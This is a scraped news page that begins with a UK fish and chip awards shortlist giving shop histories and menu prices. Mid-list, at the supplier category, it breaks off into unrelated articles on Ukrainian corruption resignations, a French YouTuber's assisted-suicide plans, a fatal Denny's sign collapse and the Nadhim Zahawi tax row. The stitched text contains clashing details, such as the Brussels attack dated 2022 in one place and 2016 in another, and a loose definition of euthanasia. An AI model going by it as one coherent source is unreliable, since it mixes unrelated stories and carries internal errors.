Fish and Chip Takeaway of the Year - top 10 shortlisted

The top ten businesses shortlisted are:

Fisherman's Bay in Whitley Bay

Fishermans Bay in Whitley Bay has been shortlisted for best Fish and Chip Takeaway of the Year

Grub at the Fisherman's Bay in Whitley Bay including chips, fish and mushy peas

The inside of Fisherman's Bay, in Whitley Bay which serves sustainably sourced cod

Run by the Dhillon family, Fisherman's Bay has been serving the local community in Tyne and Wear for the last 25 years.

Its cod is sustainably sourced and the chippy prides itself on using local source where it can.

On its takeaway menu, a cod and chips will set you back 10, haddock and chips 10.20 and a battered sausage 2.80.

Fish Kitchen 1854, Maesycwmmer, Caerphilly

The Fish Kitchen in Caerphilly has been shortlisted for best Fish and Chip Takeaway of the Year

The Fish Kitchen is a family-run business in Maesycwmmer, Caerphilly

The inside of the Fish Kitchen in Maesycwmmer, Caerphilly

This traditional family-run business sells freshly caught fish and chips. The 1854 in its name comes from being close to the Viaduct in Maesycwmmer.

It previously won in the Food Awards Wales 2022.

The takeaway was launched by Colin Newbery originally from Ystrad Mynach, a keen cyclist and railway enthusiast.

Its menu includes a large cod supper for 11.95, a steak and kidney pie supper for 5.95 and ten pieces of wholetail scampi for 6.50.

Whitehead's Fish and Chips, Hornsea, East Yorkshire

Whitehead's Fish and Chips in Hornsea, East Yorkshire, has been run by the Whitehead family since 1997

Whiteheads Fish and Chips, Hornsea, East Yorkshire has been shortlisted for best Fish and Chip Takeaway of the Year

Whitehead's Fish & Chips has been run by the Whitehead family since 1997 with their takeaway a stone's throw from the East Yorkshire coast.

A regular cod is 8.15, while a regular portion of chips costs 2.10. They have a range of pies including steak and kidney, beef and onion and chicken and mushroom. Or a regular sausage will set you back 1.25.

Customers have praised Whitehead's Fish and Chips for its 'freshly cooked food to order' and 'excellent service'.

Ship Deck, Trethomas, Caerphilly

Shipdeck, Trethomas, Caerphilly has been shortlisted for best Fish and Chip Takeaway of the Year

A cod supper at Ship Deck in Caerphilly will set customers back 10.70

Partners Ryan and Kimberly Hughes opened Ship Deck three years ago after working in various chip shops in Rhondda Cynon Taff.

Mr Hughes won Young Fish Frier of the Year in 2019. He has been in the industry since the age of 15 and is described by his wife as the 'bread and butter' of the business.

A regular cod supper costs 10.70, a large battered sausage is 2 while an open cone of chips will set you back 2.15.

Reviews praise Ship Deck for its 'excellent service and exceptionally good food' as well as 'plentiful' portion sizes and good value for money.

The Bearded Sailor, Pudsey, Yorkshire

The Bearded Sailor, in Pudsey, Yorkshire has been shortlisted for best Fish and Chip Takeaway of the Year

On the menu: fish and chips at The Bearded Sailor in Pudsey, shortlisted for best takeaway of the year at the National Fish and Chip Shop Award 2023

The Bearded Sailor in Pudsey, Yorkshire

The Bearded Sailor prides itself on sourcing sustainable produce, only selling fish from Icelandic Responsible Fisheries. It also uses sausages from a local supplier in Ilkley.

A regular fish and chips (haddock) will set you back 9, while a regular chips costs 3.15. There's also a battered jumbo sausage for 2.75, and a range of specialty sandwiches served in a brioche bun.

Sandwich selections include battered halloumi, battered haddock strips and a Filet O'Sailor (haddock filet, cheese and homemade tartare sauce), all costing under 6.

Customers praise the 'piping hot' and 'best quality' food, with one commenting that the fish was 'chunky and lightly battered that it just melt in your mouth'.

The Fish Bank, Elmet, West Yorkshire

The Fish Bank is located in a former bank in the heart of Sherburn-in-Elmet's Low Street

Food from the Elmet in West Yorkshire

Inside The Fish Bank in Elmet, West Yorkshire

Located in a former bank in the heart of Sherburn-in-Elmet's Low Street, The Fish Bank is a family-owned chippy which serves certified sustainable fish, locally-sourced potatoes and breadcakes, homemade fish cakes and other delicious treats.

A lunchtime box meal including fish and chips, served with a small sausage and side of peas, curry or gravy costs 6. Its fish and chips (haddock) is 8.50, 12 pieces of Scampi are 5.30 and a battered sausage is 2.20.

It customers said it was 'the fish is beautifully cooked and very fresh and the portions are very good'

Low's Traditional Fish & Chips, Westhill, Aberdeenshire

Lows Traditional Fish & Chips was founded 30 years ago by Clifford Low

The family-run business has received numerous gongs including the Best Fish and Chip Shop in Scotland in 2019.

Lows Traditional Fish & Chips was founded 30 years ago by Clifford Low, who has spent his entire life in the fish industry and 17 years ago was taken over by his son, David Low.

The family-run business has received numerous gongs including the Best Fish and Chip Shop in Scotland in 2019.

Its menu includes a standard haddock supper for 10.79, homemade chicken fillets at 6.59 and a range of pies including steak and macaroni with Spanish chorizo. A standard chips costs 3.

The Oyster Shell, Bath, Somerset

The Oyster Shell, founded in 2019, is an award-winning fish and chip shop takeaway in the heart of Bath

A large cod loin and chips is 13.95, large fishcake and chips 9.50 and vegan-option chickpea fitters and chips cost 9.50

Inside the Oyster Shell, in Bath, Somerset

The Oyster Shell, founded in 2019, is an award-winning fish and chip shop takeaway in the heart of Bath.

Driven by a life-long love for seafood, The Oyster Shell is a family business run by Dan Rosser along with parents Lisa and Garry, who have 30 years' industry experience.

A large cod loin and chips is 13.95, large fishcake and chips 9.50 and vegan-option chickpea fitters and chips cost 9.50.

Auckley Friery, Auckley, Doncaster

Auckley Friery in Doncaster has been run by second-generation fish fryer David Nicolaou since 2003

Auckley Friery has been run by second-generation fish fryer David Nicolaou since 2003.

His father Theo ran a fish and chip shop in Sheffield in 1979, named the Friery and so grew up around the industry.

After a brief career in software engineering, Mr Nicolaou took over the shop in Auckley to get it back up and running after its previous owner 'let things slip'.

He has been running it ever since, and prides itself on sustainable produce.

A large cod costs 9.60, a large battered sausage is 2.20, while 12 pieces of wholetail scampi cost 5.40. A large chips will set you back 3.55.

The Fish Works, Largs, North Ayrshire

The Fish Works in Largs, North Ayrshire, is a family-run business run by husband and wife team Ross and Tiffany Irvin

The Fish Works is a family-run business run by husband and wife team Ross and Tiffany Irvin, both have worked in the food industry for over 40 years

Being Largs locals and working on the promenade daily, they wanted to create a takeaway where people can come to enjoy fresh quality Scottish seafood with views of Firth of Clyde.

A haddock in batter full works (including twice-cooked chips) is 10.90, haggis fritters meal is 8.10 and crab loaded chips 7.90. Other options include black pudding, panko lemon sole and sausage.

Fish and Chip Restaurant of the Year

The top five businesses shortlisted are:

The Cods Scallops, West Bridgford, Nottinghamshire

The Cod's Scallops in West Bridgford, Nottinghamshire, offers over 20 species of fish daily and prides itself on serving quality, sustainable produce

Everything at the Cod's Scallops in West Bridgford is cooked fresh to order and fish can be served battered or baked

The Cod's Scallops offers over 20 species of fish daily and prides itself on serving quality, sustainable produce.

Everything is cooked fresh to order and fish can be served battered or baked in garlic, lemon and herbs for a gluten free, healthy alternative.

Fish to choose from include cod, haddock, hake, salmon, plaice, lobster, sea bass and monkfish. They also do seafood platters with prawns, cockles, whelks among others with a cocktail sauce, as well as a number of light bites and sides.

Eric's Fish and Chips, Thornham, Norfolk

Eric's Fish and Chips is situated within the grounds of Drove Orchards on the north Norfolk Coast

Customers can eat their food in the apple orchard or in the family-friendly restaurant

Eric's Fish and Chips is situated within the grounds of Drove Orchards on the north Norfolk Coast.

It prides itself on providing a relaxed family-friendly dining environment with plenty of outside dining space too. Customers are given the choice of taking their fish and chips and picnic in the apple orchard.

Drove Orchards is a working apple orchard with a renowned farm shop selling local produce and a selection of award-winning independent shops, restaurants and a play area all within it's grounds.

Its menu includes 10 pieces of scampi for 9, battered king prawns for 4.50 and a large cod loin fried in local beer batter for 12.50. A small portion of chips will set you back 2.75.

Fish City, Belfast, Antrim

Fish City is situated in the heart of Belfast City Centre

Traditional fish and chips at Fish City in the heart of Belfast

Inside Fish City, Belfast, a family-run business which started in 2013

Fish City is situated in the heart of Belfast City Centre and prides itself on serving local, sustainable fish and seafood in a comfortable, atmospheric setting.

It is a family-run business which started in 2013, and has since won a number of awards including the 'Seafish' regional award for Fish and Chip Shop of the Year in 2014.

Served with 'warm Northern Irish hospitality', customers can expect sustainable seafood with all of its cod, haddock, and hake Marine Stewardship Council (MSC)-certified.

Its daytime menu includes a seafood chowder for 11.25. It also serves dim sum (10.95) and spicy chicken wings (9.95), as well as six fresh oysters for 22.25.

Henry's of Hunstanton, Hunstanton, Norfolk

Henry's in Norfolk is named after Victorian nobleman Henry Le Strange

All of its cod, haddock and plaice are caught from government monitored areas in the Barents Sea and Norwegian Sea where over-fishing is carefully monitored

The restaurant is committed to providing high quality fish and chips in a stylish, family friendly restaurant

Located in the heart of Hunstanton, Henry's overlooks the green and the Wash, describing itself as 'the perfect destination to enjoy fish and chips'.

The restaurant is committed to providing high quality fish and chips in a stylish, family friendly restaurant, terrace and takeaway.

The restaurant is named after Victorian nobleman Henry Le Strange who dreamed of creating a seaside resort to rival that of Brighton and Southend on the shores of the Wash in West Norfolk.

All of its cod, haddock and plaice are caught from government monitored areas in the Barents Sea and Norwegian Sea where over-fishing is carefully monitored.

Its menu includes 10 pieces of wholetail Whitby scampi and chips for 10.95, a chicken breast burger with chips and salad for 10 and a halloumi burger with salad and chips for 9.95.

Other delights include battered king prawns, chicken goujons and steak and ale pie

Malt & Anchor, Cirencester, Gloucestershire

Calling itself a traditional chippy 'with a twist', Malt & Anchor is an award-winning restaurant and takeaway situated in the heart of the Cotswolds

Their menu includes specialty fish and chips (from 8.50)

Inside Malt & Anchor, which serves fresh produce in a 'unique and relaxing dining environment'.

Calling itself a traditional chippy 'with a twist', Malt & Anchor is an award-winning restaurant and takeaway situated in the heart of the Cotswolds.

It serves fresh produce in a 'unique and relaxing dining environment'.

Their menu includes specialty fish and chips (from 8.50), panko coated calamari (9.50), locally sourced pies, including wild boar and chorizo and venison (both 8.50), butcher sausages (4.50) and their own fresh fish specials.

Best Newcomer

The Best Newcomer category celebrates businesses that started no earlier than January 2021.

The top three shortlisted are:

Haughton Fish & Chips, Haughton, Staffordshire

Harjinder Singh opened Haughton Fish & Chips in the Staffordshire village of Haughton in 2021

Its menu offers a cone of chips for 1.60, a large cod for 7.50 and pukka pies including chicken and mushroom, beef and onion and cheese and onion for 3.30

The village chippy prides itself on 'keeping it simple and doing it right', with offerings of cod, haddock and scampi

Harjinder Singh opened Haughton Fish & Chips in the Staffordshire village of Haughton in 2021.

Mr Singh said the secret to its success lies in the batter. The village chippy prides itself on 'keeping it simple and doing it right', with offerings of cod, haddock and scampi.

Its menu offers a cone of chips for 1.60, a large cod for 7.50 and pukka pies including chicken and mushroom, beef and onion and cheese and onion for 3.30.

The chippy also does burgers, battered sausage and kebabs, as well as meal deals.

Lighthouse Fisheries of Flamborough, Flamborough, East Yorkshire

This family-owned fish and chip shop is on the high street in Flamborough

Lighthouse Fisheries of Flamborough serves cooked chips and good quality fish

This family-owned fish and chip shop on the high street in Flamborough serves triple cooked chips and good quality fish, as well as homemade curry sauce and naturally prepared mushy peas.

They also cater for vegan and gluten free customers with, vegan pies, savaloys, halloumi and falafel.

A regular haddock and chips costs 9.10, while a regular portion of chips is 2.30. It also serves cod and hake as well as fish cakes and fish buttys.

One customer said they stumbled across the restaurant after a lovely walk on the cliffs and were impressed by the 'super friendly staff' and signs saying where the fish came from.

Hendo's Fish & Chips, Bury St Edmonds, Suffolk

Hendo's was started by businessman Giles Henderson who in June 2021 decided to swap running a clothes shop for a chippy

Hendo's was started by businessman Giles Henderson who in June 2021 decided to swap running a clothes shop for a chippy.

Since he opened less than two years ago, Mr Henderson said it was 'really humbling' when he received high praise from customers.

Talking about how he came about running Hendo's, Mr Henderson told Suffolk News: 'It was sad to close the clothes shop down last August but I felt it was a declining market and wanted a fresh challenge.

'He mentioned fish and chips - and that was the lightbulb moment. I've always loved food and cooking and decided to give it a go.'

Hendo's sells regular cod and chips for 12.50, battered wholetail scampi and chips for 12.500 and homemade fishcakes for 3.50.

They also sell panko breaded king prawns, salt and pepper squid and battered calamari.

Mobile Operator

The Best Mobile Operator category celebrates businesses which operate mobile fish and chips vans or trailers and serve rural locations as well as catering for weddings and corporate events.

The top shortlisted are:

Pimp My Fish, Burwell, Cambrigeshire

Pimp My Fish describes itself as 'no ordinary fish and chip van'. They have put a creative twist on a British classic to serve fish burritos, burgers, sausages wrapped in prosciutto and wild mushroom arancini.

They do corporate events and private functions, as well as journey around serving their 'modern edge' menu.

The Hungry Plaice, Holbeach, Lincolnshire

The Hungry Plaice is a vintage fish and chips van hire, specialising in weddings, private events and corporate catering.

Fish and chips fans can hire out one of the company's vans, Betty or Beryl.

The eatery serves 'super freshly cooked hand battered cod with chips' and sides, including mushy peas, curry sauce, lemon slices and pickles. They also do ice cream and desserts, breakfast crepes, waffles and pizza.

Their customers have praised the 'delicious, fresh food' seved from a 'really cool van'. Another who booked the Hungry Plaice for their wedding said the 'van was beautiful and food was amazing'.

The Chippie Van, Penrith, Cumbria

The Chippie Van was born out of the pandemic, after the Penrith Chip Shop decided it needed to diversify due to Covid-19 restrictions.

It started sending its van to towns and villages throughout Cumbria and thanks to its popularity decided it was here to stay, now a staple in rural locations and for private function hire.

Their menu includes medium chips for 2.80, cod for 6.50 and Whitby scampi for 6.50. They also serve cumberland sausage, chicken nuggets and battered halloumi.

One customer said it was a 'good excuse to get out and about and see the other people in the town or village, to queue up and have a chat when you get your fish and chips'.

Jojo's Fish & Chips, Stafford, Staffordshire

John Evans runs Jojo's Fish and Chip Van, which caters for events all over the Midlands and Cheshire.

Mr Evans also owns the award-winning Weeping Cross Fish Bar in Stafford which has been running since 1999.

He said he 'lives and breathe fish and chips' with his team also sharing the same passion.

The majority of their produce is homemade and sustainable. Menu staples include prime cut of top grade cod, Whitby jumbo scampi, homemade breaded halloumi and a homemade cheese and onion fryit.

Country Fried, Langho, Lancashire

Country Fried is a small, family-run business which offers traditional fish and chips throughout various locations within the Ribble Valley - and at private functions and weddings.

They say they refuse to compromise on quality and source their fresh ingredients from local suppliers where possible.

A portion of crispy battered haddock will set you back 5.50, a battered jumbo sausage 2.50 and regular chips 2.50. They also serve chicken nuggets, battered halloumi friends and steak 'only pudding'.

Customers described their experience as 'excellent' and 'fab quality' after eating 'fresh light battered fish and great chips'.

Field to Frier

The Field to Frier category recognises businesses for their excellence in potato knowledge, care and chip preparation.

The top three shortlisted are:

Pier Point Fish & Chips, Torquay, Devon

Pier Point Chippy is situated adjacent to Torquay's marina, with spectacular views out to the bay.

Determined to return to the days of quality fish and chips, they offer a smaller menu, with the best quality ingredients and are committed to only using fish from sustainable sources.

All of its fish, cod, haddock and plaice, sold at Pier Point Chippy is MSC certified. They say they believe the industry has a 'huge responsibility in ensuring our fish supplies are plentiful for future generations'.

Its large cod is 8.20, haddock 8.40 and a prime fillet of plaice will set you back 8.40. They also serve battered tiger prawns for 6.95 and halloumi fries for 6.60.

Fiddlers Elbow Fish & Chips, Leintwardine, Herefordshire

Fiddlers Elbow is a friendly, family-run fish and chip shop in the heart of the Roman village of Leintwardine.

It is located on the edge of three borders (Herefordshire, Shropshire and Powys), and has been serving our award-winning food to the community since 2013.

The shop says it is 'very aware of how overfishing can have a dramatic impact on the environment' and so has a commitment to use sustainable and responsibly sourced fish.

Premium cod costs 9, a smoked haddock fishcake is 5.95 and a standard chips costs 2.95. They also do cheese and onion fritters for vegetarians (4.50) and jackfruit fish fillets (7) for vegans.

The Real Food Cafe, Tyndrum, Stirling

Previously on the site of an abandoned Little Chef, the owners of the Real Food Cafe took over in 2004 and have turned it into an award-winning restaurant.

All of its haddock is sourced from sustainable MSC certified stocks, and a standard portion with chips will set customers back 12.25. Meanwhile, scampi and chips is 11.25 and luxury homemade fishcakes with chips are 10.25.

Staff training and development

This category recognises excellence in developing staff teams' skills and qualifications.

The top three shortlisted are:

Jacksons Fish and Chips, Newton Abbot, Devon

Stones Fish and Chips, Acton, Ealing

The Chesterford Group, Bishops Stortford, Herts

Multiple operator

The Best Multiple Operator category celebrates businesses which operate multiple fish and chips sites across the UK.

The top three shortlisted are:

The Chesterford Group, Bishops Stortford, Hertfordshire

Harlees Fish & Chips, Wimborne, Dorset

Bells Fish & Chips, Framwellgate Moor, Durham

Quality Accreditation Champion

The Quality Accreditation category celebrates businesses throughout the UK that give their customers the best quality fish and chips.

The top three shortlisted are:

Henleys of Wivenhoe, Colchester, Essex

Ipswich Codfellas Group by Ozzie Bozdag, Ipswich, Suffolk

The Fish Works, Largs, North Ayrshire

Environment and Sustainability Champion

The top three shortlisted are:

Fish City, Belfast, Antrim

Harbour Lights, Falmouth, Cornwall

The Fish Works, Largs, North Ayrshire

Supplier of the year

The top five shortlisted are:
Senior Ukrainian officials have quit after Volodymyr Zelensky announced a crackdown on corruption and pledged to launch a staff shake-up at the highest level.

The deputy head of Ukraine's presidential office Kyrylo Tymoshenko asked to be relieved of his duties, according to an online copy of a decree signed by Zelensky and Tymoshenko's own social media posts.

Neither gave a reason for the resignation.

Deputy Defense Minister Viacheslav Shapovalov also resigned, local media reported, alleging his departure was linked to a scandal involving the purchase of food for the Ukrainian Armed Forces.

The deputy head of Ukraine's presidential office Kyrylo Tymoshenko asked to be relieved of his duties (holds up his resignation note)

Deputy Prosecutor General Oleksiy Symonenko also quit.

Tymoshenko joined the presidential office in 2019, after working on Zelensky's media and creative content strategy during his presidential campaign.

Zelensky had promised personnel changes in the government, regional administrations and security forces following corruption allegations that emerged after Russia's invasion last February.

Tymoshenko last year was under investigation relating to his personal use of luxury cars. He was also among officials linked last September to the embezzlement of humanitarian aid worth more than $7 million earmarked for the southern Zaporizhzhia region.

He has denied all the allegations.

Zelensky vowed to drive out corrupt officials in comments on Sunday, when a deputy minister was dismissed for being part of a network embezzling budget funds. Ukraine's infrastructure ministry later identified the dismissed official as Vasyl Lozynsky, a deputy minister there.

In his nightly video address, Zelensky said that Ukraine's focus on the war would not stop his government from tackling corruption.

Zelensky, who came to power in 2019 on an anti-establishment and anti-corruption platform, pointed to suspicions in the areas of energy and military procurement.

Zelensky had promised personnel changes in the government, regional administrations and security forces

He said he intended the deputy minister's dismissal to send 'a signal to all those whose actions or behavior violate the principle of justice.'

'I want to be clear: There will be no return to what used to be in the past,' Zelensky said.

Oleksandr Kubrakov, the infrastructure minister, said Lozynsky was relieved of his duties after Ukraine's anti-corruption agency detained him while he was receiving a $400,000 bribe for helping to fix contracts related to restoring infrastructure facilities battered by Russian missile strikes.

A statement by the National Anti-Corruption Bureau of Ukraine described Lozynsky as part of 'an organized criminal group involved in the embezzlement of budget funds.'

It said its detectives were working to identify the group's other members.

In other developments:

Russian shelling overnight killed one civilian and wounded two others near the eastern city of Bakhmut, the epicenter of the fighting in recent months, regional Gov. Pavlo Kyrylenko said Tuesday.

Russian forces also shelled nine towns and villages in the northern Sumy region, which borders Russia, killing a young woman and wounding three other people, local Gov. Dmytro Zhyvytskyy reported on Telegram.

He said the casualties all lived in the same house, which suffered a direct artillery hit.
A YouTuber who suffers from multiple personality disorder is documenting her bid to end her life at a euthanasia clinic.

The French 23-year-old, who goes by the name Olympe, recently told the 255,000 followers of her mental health channel that she was 'in contact with doctors in Belgium, where assisted suicide is legal.

The content creator suffers from dissociative identity disorder, a condition formed by trauma which is often deeply distressing to those it affects.

But Belgian doctor Yves de Locht, approached by Olympe, said clinics were not 'euthanasia dispensers', and that the process can last many months or years before someone can access assisted suicide services.

This follows the controversial death of another 23-year-old suffering with mental health issues who chose to end her life in Belgium last year.

YouTuber Olympe spoke candidly to her followers on Instagram earlier this month

What is Dissociative Identity Disorder? 'DID', formerly known as multiple personality disorder, is a condition resulting in the presence of two or more distinct and 'relatively enduring' personalities in its sufferer. The condition is seen among around 1.5% of the general population and is the result of repeated or long-term childhood trauma. 90% of those with DID have a history of abuse and neglect. The condition develops in early childhood, before the brain can develop a single, integrated identity. Treatment ordinarily involves the treatment of symptoms ('palliative' therapy) and psychotherapy. Without medical treatment, it is rare that the condition abates on its own. Diagnoses of the disorder have increased dramatically in recent years in part due to the development of more diagnostic tests in the field of psychology and new techniques to image brain tissue. The condition is often deeply distressing for its sufferers. More than 70% of people with the condition attempt suicide attempt once. Advertisement

Olympe, who reportedly lives with about 40 distinct personalities, initially said in a post on Instagram, 'in the last quarter of 2023 I will have recourse to assisted suicide in Belgium.

'I am already in contact with the doctors.'

She added: 'It's not a debate. It's my life. It's a decision that I made which was difficult to take.'

Olympe said she could no longer manage the burden of her condition or its causes.

She said that these included sexual abuse and moving between various foster homes.

But the Brussels doctor de Locht, who was reportedly approached by Olympe, dismissed the claims that talks had progressed in an interview with Le Parisien.

He said that the process could take months or years, and said that Belgium was tired of being coloured as a 'death ward' for France, where assisted suicide is illegal.

'I haven't seen her medical dossier but I've read her emails. She wants to meet me.

'We do not refuse to meet (people like her) but we explain to them that the process can last months or even years.

'This young woman has announced the end of her life at the end of the year. This date certainly doesnt come from me. I need much more information before envisaging meeting her.

The young YouTuber has since stressed she does not wish to set an 'example' for young people, and urges those with dark thoughts to 'find people around them to lean on'.

Euthanasia - withdrawing or with-holding life-preserving treatments - is legal in Belgium, the Netherlands, Luxembourg, Germany and Spain.

Assisted suicide - giving the patient the means to end their own life - is illegal across most of Europe.

While Switzerland permits assisted suicide, active euthanasia is not legal.

While illegal in France, a citizens' council has begun debating the country's approach to end of life care generally and the legal status of assisted suicide.

Recommendations will be presented to parliament in March this year.

In the United Kingdom, the act of assisting somebody else in taking their life is punishable by up to 14 years in prison.

Olympe said she would radically change her content following negative attention online

Assisted suicide presents many ethical complications in defining a 'rational suicide'.

The scientific community is somewhat divided.

48.6% of psychiatrists surveyed in 2019 did not support access to assisted suicide for persons diagnosed with severe and persisted mental illness.

Nearly a third did support some degree of access, and just over 20% were neutral on the issue.

The authors said there was an increasing number of psychiatric patients seeking assisted suicide.

A 1994 paper concluded the availability of assisted suicide may lead to increased rates of suicide in the general population, especially among young people, due to copycat behaviour and destigmatisation.

Authors of a paper last year highlighted the importance of assessing decision-making capacity when considering assisted dying.

This could be complicated by underlying mental health conditions.

Shanti De Corte, 23, chose to end her life after suffering from mental distress as a witness of the ISIS attack on Brussels Airport in 2022

Last year, Shanti De Corte, also 23, chose to end her life in Belgium, citing 'unbearable' mental distress.

Corte suffered trauma as a witness of the ISIS attack on Brussels Airport in 2016.

After pursuing psychiatric treatment and medication, she chose to end her life in May 2022.

A neurologist later said the decision was premature, with options not yet fully explored, but claimed he was overruled by the woman's mother.

When life is difficult, Samaritans are here  day or night, 365 days a year. You can call them for free on 116 123, email them at jo@samaritans.org, or visit samaritans.org to find your nearest branch.
The couple's granddaughter is still being treated for her injuries

A husband has died a week after his wife due to a 2,600lb Denny's sign in Kentucky crushing their car when it was blown off its post in strong winds.

Lloyd Curtis, 77, who was already suffering from a bad heart condition, died on Monday after his wife, Lillian Curtis, 72, was immediately crushed to death in the accident on Thursday, family said.

Lillian had just collected her husband from hospice care on the day that the incident occurred, family told KVUE. He had undergone heart surgery at the University of Louisville Hospital three days prior to the accident, Amy Nichols, their granddaughter, added.

The third passenger in the vehicle, the couple's 58-year-old daughter, Mary Graham, who had been driving, is still being treated for her injuries, including concussion and five broken ribs, according to KVUE. Elizabethtown police believe strong gusts blew the sign from its post, causing it to topple onto the car in the parking lot.

Lillian, 72, had just picked up Lloyd from the hospital following heart surgery. The 77-year-old was in hospice and was given only three months to live

Elizabethtown police believe strong gusts blew the sign from its post, causing it to topple onto the car in the parking lot

Lloyd had been told he had three months to live due to his heart issues, KVUE reported.

Nichols said: 'He told the hospice nurse last night when she asked him what he wanted, and he said: "My wife back," and now he is dancing with Nanny.'

Nichols told WLKY that the family still have questions about the tragedy.

An autopsy will reveal whether Lloyd's death was a direct result of the crash.

Nichols said that the family plans to hold a double burial for Lloyd and Lillian.

Lillian Mae Curtis (left) was with her husband Lloyd Eugene Curtis Sr. (right) and daughter Mary Graham when a Denny's sign fell on them, killing the grandmother

Family members took solace in the fact that Lilian's death was instantaneous

Lillian Curtis, 72, was immediately crushed to death in the accident on Thursday, family said

A GoFundMe has raised more than $5,000 to help pay for memorial expenses.

Lillian and Lloyd's grandchildren said the tragedy robbed their grandparents of the little time they had left together.

'It's definitely not something you can truly wrap your mind around,' Mary Howard, Graham's daughter, told KVUE.

'I don't know that the shock has worn off - or the fact that we're going to go home and life is going to continue without her.'

Last week, Denny's said in a statement: 'Safety is our top priority, and we are working with the authorities to better understand what led to this situation.

'Our thoughts are with all of those involved.'

The couple and their daughter were believed to have been stopping for food on Thursday afternoon when the sign fell on their car amid 50 mph gusts in Elizabethtown.

A dramatic video captured the moment the 2,600 lbs sign was knocked down by the wind. It fell and crushed the car Lillian Curtis was sat in

Lillian, who was sitting in the back seat, was trapped in the vehicle and had to be extracted by emergency workers.

Nichols told WDRB News her head wound had been 'catastrophic' and 'inoperable'.

Horrifying pictures show the vehicle destroyed after the freak accident.

Crews removing the sign from the scene said it weighed about 2,600 pounds, approximately the weight of a small car.

In a post on the GoFundMe page dedicated to Lillian, Nichols wrote: 'My nanny was loved by so many people and this loss has left a hole inside us all.'

Howard told KVUE that her grandmother's death had been 'absolutely instantaneous and that there was no way her body could have felt any pain'.

Lloyd had been rushed to hospital with fluid in his lungs and was waiting to be transferred back to the University of Louisville Hospital.

Lillian and Lloyd were married for more than 50 years and have more than a dozen great-grandchildren.

Lillian (pictured) had just collected her husband from hospice care on Thursday before the incident occurred, family told KVUE

Elizabethtown Police spokesman Chris Denham said: 'I've never seen anything like this.

'It's certainly very windy out here and I'm certain that did have a factor and was involved in this.'

The investigation into the deaths is ongoing.

Nichols paid tribute to Lillian online and said she did not know how her family would cope without her.

Nichols said: 'This woman right here, my beautiful nanny Lillian Mae Curtis, was the matriarch of our family she was the strongest woman I have ever seen in my life.

'I don't know how myself or my family can even begin to live in a cold world without her in it.'

She added: 'She was my biggest supporter in life and always had me when nobody else did. I am so lost right now I can't even function.

'She was my Nanny, she was my second momma, she was everything to me. I would give my life to have her back.'
Rishi Sunak is bracing for a painful PMQs showdown tomorrow with the row raging over Nadhim Zahawi's multi-million pound tax settlement.

The Tory chair has insisted he has no intention of quitting and welcomed the prospect of an investigation by the PM's independent adviser.

But the Commons clashes - and the hours immediately before them - could prove a moment of truth for Mr Zahawi, as Downing Street gauges whether it can hold the line.

Mr Sunak has admitted there are 'questions' that needed answering, and police minister Chris Philp faced a battering on the issue during a round of broadcast interviews this morning, admitting that he 'doesn't know' what happened between Mr Zahawi and HMRC.

Meanwhile, unrest on Conservative benches is growing as a grim poll showed Mr Sunak's personal ratings have tumbled over the past week, with Labour 22 points ahead.

Former minister Caroline Nokes has said that Mr Zahawi should stand aside from his role while the standards inquiry takes place.

No 10 said new ethics adviser Sir Laurie Magnus will focus on Mr Zahawi's ministerial declarations, but it could extend to his prior tax arrangement and whether he lied to the media when he dismissed reports about his financial affairs as 'smears'.

Nadhim Zahawi's political career was 'hanging by a thread' last night after it emerged he had failed to tell Rishi Sunak he was fined more than 1 million over a tax dispute

Rishi Sunak yesterday ordered an investigation into the tax settlement by Tory party chair Nadhim Zahawi, saying there were 'questions that need answering'

A grim poll showed Mr Sunak's personal ratings have tumbled over the past week, with Labour 22 points ahead

The row follows reports that Mr Zahawi agreed to pay a 'penalty' of more than 1 million as part of a 5million tax settlement with HM Revenue and Customs .

Allies of Mr Zahawi do not dispute that he was fined over the huge tax bill, but insist he had been 'careless' over his financial affairs rather than deliberately seeking to dodge tax. Mr Zahawi said yesterday he was 'confident I acted properly throughout'.

The tax settlement relates to a stake in the polling firm YouGov, which he founded before entering politics.

It was agreed during his brief stint as Chancellor last year  when he was in charge of the country's tax system.

There are claims that the dispute resulted in Mr Zahawi being denied a knighthood in the New Year's Honours list.

However, No10 said yesterday that Mr Sunak had not been informed of the row when he appointed Mr Zahawi as Conservative Party chairman in October.

Last week, the PM defended Mr Zahawi, telling MPs he had 'addressed the matter in full'.

But No 10 yesterday revealed he had only learned that Mr Zahawi was fined by HMRC in media reports at the weekend.

Ms Nokes told Times Radio that Mr Zahawi was a 'distraction' and should stand aside during the probe for the good of the government.

'I think there are too many unanswered questions,' she said.

'The challenge for Nadhim is - look at the front pages, he's leading too many of them.

'When you become the story it's a distraction from anything else that the government is trying to do.

'There are countless examples of good, competent Cabinet colleagues who've got themselves in a mess, who have resigned quickly and come back, really in some instances just a few months later.

'In order to get this cleared up Nadhim should stand aside and let the investigation run its course.'

A Cabinet source said Mr Zahawi had undermined the PM's pledge to bring 'integrity, professionalism and accountability' to politics, adding that he was 'finished'.

In a round of interviews, Mr Philp suggested that no-one in government knows the details of Mr Zahawi's tax settlement.

'We've got this word 'careless' that has been put into the public domain,' he said.

'We don't know exactly what it was that that carelessness represents.'

Pushed on the issue, the minister added: 'You're effectively inviting me to speculate on exactly what happened.

'I don't know exactly what happened, I don't know what form that carelessness took and nor probably does anybody else apart from HMRC and Mr Zahawi. So let's find out the facts.'

Mr Philp told BBC Breakfast: 'I think it is reasonable that where there is an investigation, the person concerned is allowed to continue serving while that investigation continues.

'We do have a principle, don't we in this country, innocent until proven guilty. That applies to a whole range of different circumstances.

'The investigation has been launched by the Prime Minister, that is the right thing to do. It will get to the bottom of this and then the Prime Minister will make his decision.

'But I don't think it is fair to jump to any conclusions before the investigation has concluded.'

Pushed on Ms Nokes' call for Mr Zahawi to stand aside, the minister added: 'I don't take that view, I think we should let the investigation play out.'

Former No 10 communications director Sir Craig Oliver said the Tory chairman was 'hanging on by a thread'.

Mr Sunak acknowledged that 'clearly in this case there are questions that need answering'.

He added: 'That's why I've asked our independent adviser to get to the bottom of everything, to investigate the matter fully and establish all the facts and provide advice to me on Nadhim Zahawi's compliance with the ministerial code. I'm pleased that Nadhim Zahawi has agreed with that approach and has agreed to fully co-operate with that investigation.'

Mr Sunak distanced himself from the decision to appoint Mr Zahawi as chancellor, saying it had taken place while he was out of government.

In July, Mr Zahawi, then running for the Tory leadership, told Sky News he was 'clearly being smeared' about his tax and insisted: 'I've always declared my taxes, I've paid my taxes in the UK.'

Whitehall sources did not deny Mr Sunak was irritated by the emergence of further allegations about Mr Zahawi's tax affairs.

Labour leader Sir Keir Starmer said Mr Zahawi's position was 'untenable' and urged the PM to sack him.
